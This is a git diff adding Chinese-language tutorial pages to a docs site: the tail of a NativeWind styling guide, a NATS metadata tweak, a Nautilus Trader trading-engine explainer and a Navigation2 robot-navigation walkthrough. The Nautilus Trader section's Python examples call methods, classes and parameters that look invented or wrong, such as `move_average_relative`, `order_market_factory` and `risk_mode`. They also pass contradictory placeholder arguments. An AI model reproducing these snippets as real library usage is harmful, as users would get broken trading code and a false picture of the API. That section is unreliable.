+module.exports = withNativeWind(config, { input: "./global.css" });
+```
+
+**5. 入口文件引入 CSS + TypeScript 类型**
+
+```tsx
+// App.tsx — 必须在最顶层组件同文件 import
+import "./global.css";
+```
+
+```ts
+// nativewind-env.d.ts（文件名有讲究，勿叫 nativewind.d.ts）
+/// <reference types="nativewind/types" />
+```
+
+**6. Expo Web 使用 Metro**
+
+```json
+{
+  "expo": {
+    "web": {
+      "bundler": "metro"
+    }
+  }
+}
+```
+
+## 实践案例
+
+### 案例 1：最小可运行页面
+
+验证安装是否成功——居中白底、蓝色粗体标题：
+
+```tsx
+import "./global.css";
+import { Text, View } from "react-native";
+
+export default function App() {
+  return (
+    <View className="flex-1 items-center justify-center bg-white dark:bg-zinc-950">
+      <Text className="text-xl font-bold text-blue-500 dark:text-blue-400">
+        Welcome to NativeWind!
+      </Text>
+    </View>
+  );
+}
+```
+
+要点：
+
+- `flex-1` → 占满父容器剩余空间（RN 默认纵向 flex，和 Web 的 `flex-col` 心智一致）
+- `items-center justify-center` → 交叉轴/主轴居中
+- `dark:` 前缀 → 跟随系统深色模式（需项目启用 color scheme）
+
+### 案例 2：登录卡片 — 条件样式与 Pressable
+
+比 StyleSheet 更直观的地方：**状态变体**和**响应式**写在一起，不用维护多份 style 对象：
+
+```tsx
+import "./global.css";
+import { useState } from "react";
+import { Pressable, Text, TextInput, View } from "react-native";
+
+export function LoginCard() {
+  const [email, setEmail] = useState("");
+
+  return (
+    <View className="mx-4 rounded-2xl bg-white p-6 shadow-md dark:bg-zinc-900">
+      <Text className="mb-4 text-2xl font-semibold text-zinc-900 dark:text-zinc-100">
+        登录
+      </Text>
+
+      <TextInput
+        className="mb-4 rounded-lg border border-zinc-300 px-4 py-3 text-base dark:border-zinc-600 dark:text-white"
+        placeholder="邮箱"
+        placeholderTextColor="#a1a1aa"
+        value={email}
+        onChangeText={setEmail}
+        autoCapitalize="none"
+        keyboardType="email-address"
+      />
+
+      <Pressable
+        className="rounded-lg bg-blue-600 py-3 active:bg-blue-700 disabled:opacity-50"
+        disabled={!email.includes("@")}
+      >
+        {({ pressed }) => (
+          <Text
+            className={`text-center text-base font-medium text-white ${
+              pressed ? "opacity-90" : ""
+            }`}
+          >
+            继续
+          </Text>
+        )}
+      </Pressable>
+    </View>
+  );
+}
+```
+
+这里展示了：
+
+- **布局**：`mx-4 p-6 rounded-2xl` 替代手写 margin/padding/borderRadius
+- **深色模式**：`dark:bg-zinc-900` 一套 JSX 覆盖两主题
+- **交互态**：`active:bg-blue-700` 对应 Pressable 按下（Web 上类似 `:active`）
+- **注意**：`TextInput` 的 `placeholderTextColor` 目前仍需显式 prop——并非所有 CSS 语义都能 1:1 映射到 RN
+
+### 案例 3：封装可复用变体（cn 工具函数）
+
+团队项目里常配合 `clsx` + `tailwind-merge` 合并 class，避免冲突：
+
+```tsx
+import { clsx, type ClassValue } from "clsx";
+import { twMerge } from "tailwind-merge";
+import { Text, type TextProps } from "react-native";
+
+export function cn(...inputs: ClassValue[]) {
+  return twMerge(clsx(inputs));
+}
+
+type AppTextProps = TextProps & {
+  variant?: "title" | "body" | "caption";
+};
+
+const variantClass = {
+  title: "text-2xl font-bold text-zinc-900 dark:text-zinc-50",
+  body: "text-base text-zinc-700 dark:text-zinc-300",
+  caption: "text-sm text-zinc-500 dark:text-zinc-400",
+} as const;
+
+export function AppText({ variant = "body", className, ...props }: AppTextProps) {
+  return (
+    <Text className={cn(variantClass[variant], className)} {...props} />
+  );
+}
+
+// 使用
+// <AppText variant="title">设置</AppText>
+// <AppText variant="body" className="mt-2">说明文字</AppText>
+```
+
+这解决了 RN 的老痛点：**Text 样式不继承**——通过设计系统组件 + NativeWind，比全局 StyleSheet 更易维护。
+
+## v5 Preview 有何不同（了解即可）
+
+若你跟踪最新预览版，主要变化：
+
+- 依赖 **Tailwind CSS v4**，配置从 `tailwind.config.js` 转向 **`global.css` 里 `@import`** 的 CSS-first 模型
+- 底层 **`react-native-css`** 取代旧的 `react-native-css-interop`（需显式安装 peer dependency）
+- Metro 侧 **`withNativewind`**（小写 w）包裹即可，**v5 通常不再需要** `nativewind/babel` Babel 插件
+- 新增 **`ios:` / `android:` / `native:` / `web:`** 等平台变体，以及 elevation、ripple 等 RN 专用 utility
+
+生产环境目前仍建议 **v4.1**；v5 适合新项目试验或跟进官方迁移指南。
+
+## 常见坑与排查
+
+| 现象 | 可能原因 | 处理 |
+|------|----------|------|
+| `className` 无效果 | 未 import `global.css` | 在最顶层组件文件 import |
+| TS 报 `className` 不存在 | 缺少类型声明 | 添加 `nativewind-env.d.ts` |
+| Tailwind 类被 tree-shake 掉 | `content` 路径未覆盖文件 | 检查 `tailwind.config.js` 的 glob |
+| Web 端样式异常 | bundler 不是 Metro | `app.json` → `"web.bundler": "metro"` |
+| 热更新后样式丢失 | CSS 引入口位置不对 | 不要只在 `index.js` 注册 AppRegistry 处 import |
+| v5 构建报 lightningcss 错误 | 版本冲突 | `package.json` 里 pin `"lightningcss": "1.30.1"` |
+
+调试口诀：**先确认 global.css 被 Metro 吃进，再确认 content 路径扫到了你的 tsx，最后看 dark/hover 是否在该组件上受支持。**
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+|------|------|
+| Tailwind CSS | NativeWind 复用其编译器与 utility 语义；RN 不跑浏览器 DOM，需额外映射层 |
+| React Native | 样式最终仍是 RN StyleSheet；组件 API 不变 |
+| React Native Web | Web 端 NativeWind 复用 RN Web + CSS；Expo Web 走 Metro 时体验最佳 |
+| Expo | 官方推荐栈；`rn-new --nativewind` 预置全部配置 |
+| Tamagui / Gluestack UI | 组件库，可与 NativeWind 共存或二选一（看团队是否要自己造组件） |
+| uniwind | 社区替代方案之一；NativeWind 仍是 GitHub star 与文档最成熟的选择 |
+
+## 学习路径建议
+
+1. **会用**：跟官方 Quickstart 跑通 `App.tsx`，理解 `className` + flex 布局
+2. **会配**：亲手改 `tailwind.config.js` 的 `theme.extend`（品牌色、字号）
+3. **会排错**：content 路径、Metro/Babel、TS 声明三类问题各踩一次
+4. **会设计**：封装 `AppText` / `AppButton`，引入 `cn()` + dark mode
+5. **会选型**：评估 v4 vs v5；大项目锁定 v4.1，实验分支试 v5 迁移
+
+## 参考资源
+
+- 仓库：<https://github.com/nativewind/nativewind>
+- 文档（v4）：<https://www.nativewind.dev/docs/getting-started/installation>
+- 文档（v5 preview）：<https://www.nativewind.dev/v5>
+- v5 迁移指南：<https://www.nativewind.dev/blog/v5-migration-guide>
+- 预置项目：`npx rn-new@latest --nativewind`
diff --git a/src/content/docs/projects/nats.md b/src/content/docs/projects/nats.md
index 74cadcb21..db0dc58d5 100644
--- a/src/content/docs/projects/nats.md
+++ b/src/content/docs/projects/nats.md
@@ -2,7 +2,7 @@
 title: NATS — 极简云原生消息系统
 来源: https://github.com/nats-io/nats-server
 日期: 2026-05-29
-子分类: 消息队列
+子分类: cloud-native
 分类: 分布式系统
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/nautilus-trader.md b/src/content/docs/projects/nautilus-trader.md
new file mode 100644
index 000000000..8fdbfeefb
--- /dev/null
+++ b/src/content/docs/projects/nautilus-trader.md
@@ -0,0 +1,272 @@
+---
+title: Nautilus Trader —— 用 Rust 写的量化交易引擎，Python 当遥控器
+来源: https://github.com/nautechsystems/nautilus_trader
+日期: 2026-06-13
+分类: 其他
+子分类: 量化金融
+provenance: pipeline-v3
+---
+
+## 是什么
+
+NautilusTrader 是一个**用 Rust 写的、生产级别的量化交易引擎**，策略逻辑用 Python 写。日常类比：
+
+- **Rust 核心 = 汽车引擎** —— 负责所有硬核计算、网络通信、订单路由，跑得快还不炸
+- **Python 策略 = 司机** —— 你写"看到什么信号就买/卖"，但真正的方向盘和刹车在 Rust 手里
+- **Adapter（适配器）= 车钥匙** —— 每接一个交易所（Binance、Coinbase、OKX），就换一把钥匙，引擎不变
+
+它最突出的特点是**回测和实盘用同一套代码**：你在回测里写的策略，直接连上实盘 API 就能跑，不用重写。
+
+## 为什么重要
+
+传统量化开发的痛苦流程是：
+
+```
+回测（Python / Pandas 矢量化） → 实盘（C++ / 事件驱动引擎）
+```
+
+两套代码、两种时序模型、两种 bug 来源。NautilusTrader 把这两层**合二为一**，用一个引擎同时覆盖回测和实盘。
+
+它的核心价值：
+
+- **Rust 内核性能**：异步网络、纳秒级时间戳、内存安全（Rust 所有权系统），适合毫秒级甚至微秒级交易
+- **Python 策略开发**：策略逻辑用 Python 写，不需要会 Rust —— PyO3  bindings 把 Rust 对象暴露给 Python
+- **多交易所统一接口**：Binance、Coinbase、Bybit、Kraken、OKX、Interactive Brokers 等 15+ 交易所，同一个 API 调用方式
+- **事件驱动架构**：不是轮询，是"来了数据就触发"——类似你家的烟雾报警器，不是每分钟检查一次有没有火
+- **回测到实盘零修改**：同一份策略代码，切换配置就能从历史回测切到实盘交易
+
+## 核心概念
+
+### 1. 事件驱动（Event-Driven）
+
+NautilusTrader 的核心是一个**事件循环**（Event Loop）。整个系统的运作方式就像一家交易所的撮合引擎：
+
+```
+行情数据进来 → 触发事件 → 策略响应 → 生成订单 → 订单发送 → 成交确认 → 更新持仓
+```
+
+每一步都是一个 "event"，被事件循环按时间顺序处理。
+
+### 2.  instrument（交易标的）
+
+一个 `Instrument` 代表一种可以交易的东西：BTC/USDT 永续合约、AAPL 股票、ETH 期权。每个 instrument 定义了：
+
+- 最小交易单位（lot size）
+- 价格精度（price tick）
+- 所属的交易所 venue
+
+### 3. 订单与持仓（Order & Position）
+
+- **Order**：你发出的买卖指令（限价单、市价单、止损单等）
+- **Position**：你当前的持仓状态，由成交的订单自动累积生成
+
+### 4. Cache（缓存）
+
+所有交易相关的数据——品种信息、持仓、订单状态——都存在一个内存 Cache 里。策略通过 Cache 查询当前状态，**不直接操作数据**，保证状态一致性。
+
+### 5. Message Bus（消息总线）
+
+组件之间**不直接通信**，而是通过消息总线。类似小区的公告栏：
+
+- 行情模块把价格贴到公告栏上
+- 策略模块订阅了这个公告栏，看到价格变化就处理
+- 执行模块也订阅了，收到订单就发出去
+
+这样每个模块互相独立，换行情源不影响策略代码。
+
+## 代码示例
+
+### 示例 1：最简策略 —— 均线交叉
+
+这是 NautilusTrader 策略的骨架。你只需要继承 `Strategy` 类，实现两个方法：
+
+- `on_start()`：引擎启动时运行一次，初始化指标
+- `on_bar()`：每来一根 K 线数据就调用一次
+
+```python
+from nautilus_trader.model.enums import OrderSide
+from nautilus_trader.trading.strategy import Strategy
+
+
+class MovingAverageCrossover(Strategy):
+
+    def __init__(self, symbol: str, fast_ma: int = 10, slow_ma: int = 30):
+        super().__init__()
+        self.symbol = symbol
+        self.fast_ma_period = fast_ma
+        self.slow_ma_period = slow_ma
+
+    def on_start(self) -> None:
+        # 创建两个移动平均指标：快线(10) 和慢线(30)
+        fast_ma = self.indicators.move_average_relative(
+            self.symbol, self.fast_ma_period
+        )
+        slow_ma = self.indicators.move_average_relative(
+            self.symbol, self.slow_ma_period
+        )
+
+        # 注册回调：当指标值更新时触发 on_indicator_value
+        self.subscribe_indicator_values(fast_ma.ts_id, self.on_fast_ma)
+        self.subscribe_indicator_values(slow_ma.ts_id, self.on_slow_ma)
+
+        self._fast_ma_value = 0.0
+        self._slow_ma_value = 0.0
+        self._crossed = False
+
+    def on_bar(self, bar) -> None:
+        fast = self._fast_ma_value
+        slow = self._slow_ma_value
+
+        # 金叉：快线上穿慢线 → 买入
+        if not self._crossed and fast > slow:
+            order = self.order_market_factory(OrderSide.BUY)
+            self.submit_order(order)
+            self._crossed = True
+
+        # 死叉：快线下穿慢线 → 卖出
+        elif self._crossed and fast < slow:
+            order = self.order_market_factory(OrderSide.SELL)
+            self.submit_order(order)
+            self._crossed = False
+
+    def on_fast_ma(self, value) -> None:
+        self._fast_ma_value = value
+
+    def on_slow_ma(self, value) -> None:
+        self._slow_ma_value = value
+```
+
+### 示例 2：配置并启动回测
+
+写好策略后，用 `BacktestNode` 启动回测。配置部分定义了你接入哪个交易所、用什么数据、策略怎么配：
+
+```python
+from pathlib import Path
+from nautilus_trader.common.component import TestClock
+from nautilus_trader.config import BacktestNode, BacktestDataClientConfig
+from nautilus_trader.config import StrategyNodeConfig
+from nautilus_trader.examples.strategies.volatility_position_sizing import (
+    VolatilityPositionSizing,
+)
+from nautilus_trader.examples.strategies.volatility_position_sizing_config import (
+    VolatilityPositionSizingConfig,
+)
+from nautilus_trader.model.identifiers import Venue
+from nautilus_trader.persistence.wranglers import QuoteTickDataGenerator
+
+# 生成模拟的报价数据（回测不需要真实数据源）
+data_generator = QuoteTickDataGenerator(
+    instrument_id=None,  # 先用真实 instrument
+    bid_price=50000.0,
+    ask_price=50001.0,
+    timestamp=TestClock.now().value,
+)
+
+# 配置数据客户端
+data_client_config = BacktestDataClientConfig(
+    venue=Venue("BINANCE"),
+    type="backtest",
+)
+
+# 配置策略
+strategy_config = StrategyNodeConfig(
+    strategy=VolatilityPositionSizing,
+    config=VolatilityPositionSizingConfig(
+        symbol="BTCUSDT-PERP.BINANCE",
+        bar_type=None,  # 填入实际的 BarType
+        position_size=0.001,
+        volatility_lookback=20,
+        max_trade_size=0.01,
+    ),
+)
+
+# 启动回测
+backtest = BacktestNode(
+    data_clients=[data_client_config],
+    strategies=[strategy_config],
+)
+backtest.run()
+```
+
+### 示例 3：从回测切换到实盘
+
+这就是 NautilusTrader 最酷的地方：**同一个策略，只改配置，不改代码**：
+
+```python
+# ===== 回测模式（上面已经写好了）=====
+from nautilus_trader.config import BacktestNode
+# 用 BacktestNode + 历史数据文件
+
+# ===== 实盘模式（几乎一模一样）=====
+from nautilus_trader.config import LiveNode
+from nautilus_trader.adapters.binance.factories import (
+    BinanceLiveDataClientConfig,
+    BinanceLiveExecutionClientConfig,
+)
+
+# 只需要替换数据源和执行源的配置
+live_node = LiveNode(
+    data_clients=[
+        BinanceLiveDataClientConfig(
+            api_key="your-api-key",
+            api_secret="your-api-secret",
+        ),
+    ],
+    execution_clients=[
+        BinanceLiveExecutionClientConfig(
+            api_key="your-api-key",
+            api_secret="your-api-secret",
+            # 实盘用 risk 参数控制仓位
+            risk_mode="conservative",
+        ),
+    ],
+    strategies=[strategy_config],  # ← 同一个策略配置！
+)
+live_node.run()
+```
+
+## 架构概览
+
+```
+┌─────────────────────────────────────────────────┐
+│                   Python 层（策略）               │
+│                                                 │
+│  Strategy 类 → 你的交易逻辑                      │
+│  Indicators  → 技术指标（MA、RSI、布林带...）     │
+│  Configuration → 参数配置                        │
+└──────────────────────┬──────────────────────────┘
+                       │ PyO3 bindings
+┌──────────────────────▼──────────────────────────┐
+│              Rust 核心（Nautilus Engine）          │
+│                                                  │
+│  Event Loop  → 事件调度中心                      │
+│  Cache       → 内存状态存储                      │
+│  Message Bus → 组件间通信                        │
+│  Executor    → 订单执行与路由                    │
+│  Accounting  → 盈亏计算与持仓管理                │
+└──────────────────────┬──────────────────────────┘
+                       │ Adapters
+┌──────────────────────▼──────────────────────────┐
+│              交易所适配器层                       │
+│                                                  │
+│  Binance  │  Coinbase  │  Bybit  │  IB  │  ...  │
+└──────────────────────────────────────────────────┘
+```
+
+## 关键设计模式
+
+- **事件溯源（Event Sourcing）**：所有状态变化都以事件形式保存，可以回放任意时间段的状态 —— 类似飞机的黑匣子
+- **Actor 模型**：每个组件（行情、策略、执行）都是独立的 Actor，通过消息通信 —— 类似微服务
+- **确定性时间模型**：回测中用的"模拟时钟"和实盘中的"真实时钟"遵循相同的时序规则，保证行为一致
+- **插件系统**：可以用 Rust 编写独立的 cdylib 插件，通过 C ABI 扩展引擎 —— 适合极端性能场景
+
+## 学习资源
+
+- **官方文档**：<https://nautilustrader.io/docs/latest/>
+- **GitHub**：<https://github.com/nautechsystems/nautilus_trader>
+- **Discord 社区**：<https://discord.gg/NautilusTrader>
+- **示例策略**：`nautilus_trader/examples/` 目录下的 `strategies/` 文件夹
+
+## 一句话总结
+
+NautilusTrader 用 Rust 引擎提供性能保证，用 Python 策略降低开发门槛，用统一的事件驱动架构打通回测和实盘 —— 是量化交易者从"纸上回测"到"真金白银"之间最短的路。
diff --git a/src/content/docs/projects/navigation2.md b/src/content/docs/projects/navigation2.md
new file mode 100644
index 000000000..76c88fe67
--- /dev/null
+++ b/src/content/docs/projects/navigation2.md
@@ -0,0 +1,385 @@
+---
+title: Navigation2 (Nav2) — 移动机器人导航零基础入门
+来源: 'https://github.com/ros-navigation/navigation2'
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 日常类比：商场里的「导览系统 + 保安 + 路线规划师」
+
+想象你推着一辆购物车在大型商场里，要从入口走到三楼书店。商场里已经有一套成熟的导览体系，而不是你边走边临时问路：
+
+- **地图（Map）** 像商场平面图：哪里是墙、哪里能走，事先画好或扫出来。
+- **定位（Localization）** 像头顶的蓝牙信标/Wi-Fi 定位：告诉你「我现在在 2 楼扶梯口偏东 3 米」。
+- **全局规划（Global Planner）** 像导航 App 算整条路线：从入口经扶梯到书店，走哪条通道最顺。
+- **局部规划 / 控制（Local Planner / Controller）** 像你推车时的实时微调：前面突然有人停下，绕一下、慢一点，但大方向不变。
+- **代价地图（Costmap）** 像热力图：越红越「不想走」（离障碍物近），规划会主动绕开。
+- **行为树（Behavior Tree）** 像导览员手里的流程卡：先算路 → 跟路走 → 卡住了就执行恢复动作（原地转圈看清环境、后退、清地图）→ 再试一次。
+- **生命周期管理（Lifecycle Manager）** 像商场开业流程：先通电、再开监控、再开扶梯，**按顺序**把各子系统拉起来；关店时反过来，避免「定位还没好就开始乱跑」。
+
+**Navigation2（Nav2）** 就是 ROS 2 生态里这套「移动机器人导览系统」的标准实现。它是 ROS 1 `navigation` 栈的专业继任者，被 Autoware、仓储 AMR、服务机器人等大量产品采用。官方仓库：[ros-navigation/navigation2](https://github.com/ros-navigation/navigation2)；概念与配置见 [Nav2 Documentation](https://docs.nav2.org/)。
+
+它和 [[ros2]] 的关系：Nav2 完全跑在 ROS 2 之上，用 **Topic** 传传感器与速度指令，用 **Action** 暴露「导航到某点」「穿过多个路标」等长任务，用 **Lifecycle Node** 管理各服务器启停。若你已读过 ROS 2 笔记里的节点/话题/动作，Nav2 就是把它们组织成一条可产品化的导航流水线。
+
+---
+
+## 解决什么问题
+
+移动机器人在室内/园区自主行走，至少要同时搞定四件事：
+
+| 痛点 | 没有 Nav2 时 | Nav2 的回应 |
+| --- | --- | --- |
+| 模块耦合 | 定位、规划、控制各写各的，接口不统一 | 拆成 **Planner / Controller / Smoother / Behavior** 等 **Task Server**，经 BT Navigator 编排 |
+| 卡住不会自救 | 规划失败或跟丢路径就停住 | 默认 BT 含 **Recovery**：清 costmap、原地旋转、等待、后退等 |
+| 启动顺序混乱 | 地图未加载就规划，TF 未就绪就发速度 | **Lifecycle Manager** 按 `node_names` 顺序 configure → activate |
+| 算法换不了 | 换 DWB 为 RPP 要改一堆代码 | **插件架构**：`nav2_core` 接口 + YAML 里换 `plugin` 名 |
+
+Nav2 要回答的核心问题是：**能否在 ROS 2 上，用同一套配置和 Action 接口，让差速、全向、阿克曼等多种底盘，在已知或 SLAM 建图环境中，可靠地从 A 走到 B（乃至一串路标点）？**
+
+---
+
+## 系统架构一览
+
+官方架构图可概括为「**一个大脑 + 多个专职服务器 + 一层地图**」：
+
+```text
+                    ┌─────────────────────┐
+                    │   BT Navigator      │  ← 行为树：NavigateToPose / NavigateThroughPoses
+                    │   (bt_navigator)    │
+                    └──────────┬──────────┘
+           Action 调用         │
+    ┌──────────┼──────────┬───────────┬──────────────┐
+    ▼          ▼          ▼           ▼              ▼
+ planner   controller  smoother   behaviors    waypoint_follower
+ _server    _server     _server    (recovery)      (可选)
+    │          │          │           │
+    └──────────┴────┬─────┴───────────┘
+                      ▼
+              ┌───────────────┐
+              │ Costmap 2D    │  ← global + local 代价地图
+              │ (map_server,  │
+              │  AMCL/SLAM)   │
+              └───────────────┘
+```
+
+**数据流（简化）**：
+
+1. 用户或上层应用发 `NavigateToPose` 目标到 `bt_navigator`。
+2. BT 调用 `planner_server` 在 **global costmap** 上算路径。
+3. 可选 `smoother_server` 平滑路径。
+4. `controller_server` 根据 **local costmap** 与路径跟踪，输出 `cmd_vel`。
+5. 失败时 BT 触发 recovery 行为，再重试规划或跟踪。
+6. `lifecycle_manager` 保证 `map_server`、`amcl`、`planner_server` 等按序就绪。
+
+---
+
+## 核心概念
+
+### 1. Task Server 与 Action 接口
+
+Nav2 把「算路、跟路、恢复」拆成独立 **服务器节点**，每个服务器对外提供 **Action**（少数用 Service）。上层（通常是 BT Navigator）只认 Action 语义：发目标、收反馈、可取消。
+
+常用 Action（包名 `nav2_msgs`）：
+
+| Action | 作用 |
+| --- | --- |
+| `NavigateToPose` | 导航到单个位姿（最常用） |
+| `NavigateThroughPoses` | 按顺序经过多个路标点 |
+| `ComputePathToPose` | 只规划路径，不执行 |
+| `FollowPath` | 跟踪已有路径 |
+| `Spin` / `BackUp` / `Wait` | 恢复行为 |
+
+查看本机已注册的导航 Action：
+
+```bash
+ros2 action list | grep nav
+ros2 action info /navigate_to_pose
+```
+
+### 2. 行为树（Behavior Tree）
+
+相比「几十种状态、上百条转移」的有限状态机（FSM），行为树用 **可复用节点**（条件、动作、控制流）拼出复杂流程，更易扩展。Nav2 使用 [BehaviorTree.CPP](https://www.behaviortree.dev/)，默认树例如 `navigate_to_pose_w_replanning_and_recovery.xml`：
+
+- **Navigation 子树**：周期性重规划（默认约 1 Hz）+ `FollowPath`。
+- **Recovery 子树**：子树失败后轮询 `ClearCostmap`、`Spin`、`Wait`、`BackUp` 等。
+
+自定义树：复制 XML，在参数里改 `default_nav_to_pose_bt_xml`，或在 Goal 里填 `behavior_tree` 字段指向你的 XML。
+
+### 3. Lifecycle Node 与 Lifecycle Manager
+
+Nav2 关键节点（`map_server`、`amcl`、`planner_server`、`controller_server`、`bt_navigator` 等）都是 **受管生命周期节点**。状态迁移：`unconfigured` → `inactive` → `active` → …
+
+`nav2_lifecycle_manager` 通过服务 `lifecycle_manager/manage_nodes` 一次性 **startup / pause / resume / reset / shutdown** 列表中的节点。启动顺序由参数 `node_names` 决定——**先传感器与地图，再规划与控制**，避免「无图规划」。
+
+在 RViz 的 Nav2 面板点 **Startup**，本质上就是调这个服务；量产系统里一般由 launch 或自主应用自动调用。
+
+### 4. 地图、定位与 Costmap
+
+- **map_server**：加载静态栅格地图（`map.yaml` + 图像）。
+- **AMCL**（Adaptive Monte Carlo Localization）：在已知地图上，用激光/里程计估计机器人在 `map` 坐标系下的位姿。
+- **SLAM 模式**：用 `slam_toolbox` 等同时建图与定位，Nav2 `bringup` 里用 `slam:=True` 切换 launch 分支。
+- **Costmap 2D**：两层常见配置——**global**（大范围、低更新率）给全局规划；**local**（小窗口、高更新率）给避障与控制。障碍物来自静态地图层、障碍层（激光）、膨胀层（inflation）等 **plugin** 堆叠。
+
+TF 链必须连通：`map` → `odom` → `base_link`（及 `base_link` → `laser` 等传感器）。缺 TF 时 Nav2 会拒绝目标或速度异常——这是初学者最高频问题之一。
+
+### 5. 插件（Plugins）
+
+算法以插件形式加载，YAML 里改类名即可切换，无需改 BT 源码：
+
+| 服务器 | 示例插件 |
+| --- | --- |
+| Global Planner | NavFn, Smac Planner 2D/ Hybrid-A* |
+| Controller | DWB, RPP (Regulated Pure Pursuit), Graceful |
+| Smoother | Savitzky-Golay, Simple |
+| Goal Checker | 判断是否到达目标 |
+
+参数文件通常在 `nav2_bringup/params/*.yaml`，机器人项目应 **复制一份** 改成自己的 `my_robot_nav2.yaml`，而不是直接改官方默认文件。
+
+### 6. nav2_simple_commander（Python 高层 API）
+
+不想手写 Action Client 时，可用官方 Python 库 `nav2_simple_commander`，封装了 lifecycle 等待、发目标、读反馈、取消任务等。适合快速验证和教学 demo。
+
+---
+
+## 快速上手：仿真一条命令
+
+在已安装 Nav2 的 ROS 2 环境（如 Humble/Jazzy + `sudo apt install ros-<distro>-navigation2`）：
+
+```bash
+# 终端 1：TurtleBot3 仿真 + Nav2 全栈
+export TURTLEBOT3_MODEL=burger
+ros2 launch nav2_bringup tb3_simulation_launch.py use_sim_time:=True
+
+# 终端 2：用 RViz 点「2D Pose Estimate」设初始位姿，再点「Nav2 Goal」
+# 或用下面 Python 示例自动发目标
+```
+
+`tb3_simulation_launch.py` 会拉起 Gazebo（或新版仿真）、机器人状态发布、定位、规划、控制、RViz 与 lifecycle。**第一次使用务必先设初始位姿**，否则 AMCL 不知道机器人在地图哪里，规划会失败。
+
+---
+
+## 代码示例一：Python 导航到目标点（nav2_simple_commander）
+
+下面脚本演示：等待 Nav2 激活 → 设置初始位姿 → 发送 `NavigateToPose` 等价任务 → 打印 ETA 与剩余距离。改编自官方 `example_nav_to_pose.py`。
+
+```python
+#!/usr/bin/env python3
+import rclpy
+from geometry_msgs.msg import PoseStamped
+from nav2_simple_commander.robot_navigator import BasicNavigator, TaskResult
+
+
+def main():
+    rclpy.init()
+    navigator = BasicNavigator()
+
+    # 等待 lifecycle 全部激活（launch 里 autostart:=True 时必需）
+    navigator.waitUntilNav2Active()
+
+    # 初始位姿：告诉 AMCL「机器人在地图上的大概位置」
+    initial_pose = PoseStamped()
+    initial_pose.header.frame_id = 'map'
+    initial_pose.pose.position.x = -2.0
+    initial_pose.pose.position.y = -0.5
+    initial_pose.pose.orientation.w = 1.0
+    navigator.setInitialPose(initial_pose)
+
+    # 目标位姿
+    goal_pose = PoseStamped()
+    goal_pose.header.frame_id = 'map'
+    goal_pose.pose.position.x = 1.5
+    goal_pose.pose.position.y = 0.5
+    goal_pose.pose.orientation.w = 1.0
+
+    navigator.goToPose(goal_pose)
+
+    while not navigator.isTaskComplete():
+        feedback = navigator.getFeedback()
+        if feedback:
+            print(
+                f'剩余距离: {feedback.distance_remaining:.2f} m, '
+                f'预计到达: {feedback.estimated_time_remaining.sec} s'
+            )
+
+    result = navigator.getResult()
+    if result == TaskResult.SUCCEEDED:
+        print('导航成功')
+    elif result == TaskResult.CANCELED:
+        print('导航被取消')
+    else:
+        print('导航失败')
+
+    navigator.lifecycleShutdown()
+    rclpy.shutdown()
+
+
+if __name__ == '__main__':
+    main()
+```
+
+运行前确认仿真已启动且地图 frame 为 `map`。若换真实机器人，把初始位姿改为 GPS/反光板/手动标定值，并关闭 `use_sim_time`。
+
+---
+
+## 代码示例二：YAML 参数片段（规划器 + 控制器 + BT）
+
+真实项目里，核心差异往往在 **参数** 而非改 C++。下面摘录典型结构（字段名因发行版略有不同，以你安装的 `nav2_bringup/params/nav2_params.yaml` 为母版修改）：
+
+```yaml
+bt_navigator:
+  ros__parameters:
+    use_sim_time: true
+    global_frame: map
+    robot_base_frame: base_link
+    odom_topic: /odom
+    # 默认行为树：含重规划 + 恢复
+    default_nav_to_pose_bt_xml: navigate_to_pose_w_replanning_and_recovery.xml
+    plugin_lib_names:
+      - nav2_compute_path_to_pose_action_bt_node
+      - nav2_follow_path_action_bt_node
+      - nav2_spin_action_bt_node
+      - nav2_wait_action_bt_node
+      - nav2_clear_costmap_service_bt_node
+
+planner_server:
+  ros__parameters:
+    planner_plugins: ["GridBased"]
+    GridBased:
+      plugin: "nav2_navfn_planner/NavfnPlanner"
+      tolerance: 0.5
+      use_astar: false
+
+controller_server:
+  ros__parameters:
+    controller_frequency: 20.0
+    min_x_velocity_threshold: 0.001
+    controller_plugins: ["FollowPath"]
+    FollowPath:
+      plugin: "nav2_regulated_pure_pursuit_controller/RPPController"
+      desired_linear_vel: 0.5
+      lookahead_dist: 0.6
+
+local_costmap:
+  local_costmap:
+    ros__parameters:
+      update_frequency: 5.0
+      publish_frequency: 2.0
+      rolling_window: true
+      width: 3
+      height: 3
+      resolution: 0.05
+      robot_radius: 0.22
+```
+
+launch 时通过 `params_file` 指向你的 YAML：
+
+```bash
+ros2 launch nav2_bringup bringup_launch.py \
+  map:=/path/to/warehouse.yaml \
+  params_file:=/path/to/my_robot_nav2.yaml \
+  use_sim_time:=False
+```
+
+调参顺序建议：**机器人半径 / footprint → 控制器最大速度 → 膨胀半径 → 规划容差**。一次只改一类参数，用仿真反复走同一条路线对比。
+
+---
+
+## 代码示例三：底层 Action Client（了解原理用）
+
+若不用 `nav2_simple_commander`，可直接对 `/navigate_to_pose` 发 Action（与 RViz「Nav2 Goal」相同接口）：
+
+```python
+from rclpy.action import ActionClient
+from nav2_msgs.action import NavigateToPose
+
+
+class Nav2Client(Node):
+    def __init__(self):
+        super().__init__('nav2_client')
+        self._client = ActionClient(self, NavigateToPose, 'navigate_to_pose')
+
+    def go_to(self, x: float, y: float):
+        self._client.wait_for_server()
+        goal = NavigateToPose.Goal()
+        goal.pose.header.frame_id = 'map'
+        goal.pose.header.stamp = self.get_clock().now().to_msg()
+        goal.pose.pose.position.x = x
+        goal.pose.pose.position.y = y
+        goal.pose.pose.orientation.w = 1.0
+        self._client.send_goal_async(goal)
+```
+
+注意：**发导航目标前**，必须先有可靠的 `map`→`base_link` 位姿（AMCL 已收敛或你已 `setInitialPose`）。否则 BT 会认为定位无效而失败。
+
+---
+
+## 默认行为树在做什么（读懂 XML）
+
+`navigate_to_pose_w_replanning_and_recovery.xml` 逻辑可口述为：
+
+1. 收到目标后，进入 **PipelineSequence**：一边以固定频率 **重算全局路径**，一边 **FollowPath**。
+2. 若规划或跟路失败，在 Navigation 子树内先做 **上下文恢复**（如清 local costmap）。
+3. 若仍失败，进入 Recovery 子树：**轮询** Spin → Wait → BackUp → ClearCostmap 等，再回到 Navigation 重试。
+4. 全部耗尽仍失败，Action 返回 `aborted`，上层应用决定告警或人工接管。
+
+读 XML 不必一次啃完；用 `bt_navigator` 的 Groot 监控或日志，对照「机器人实际在转圈还是后退」理解更快。
+
+---
+
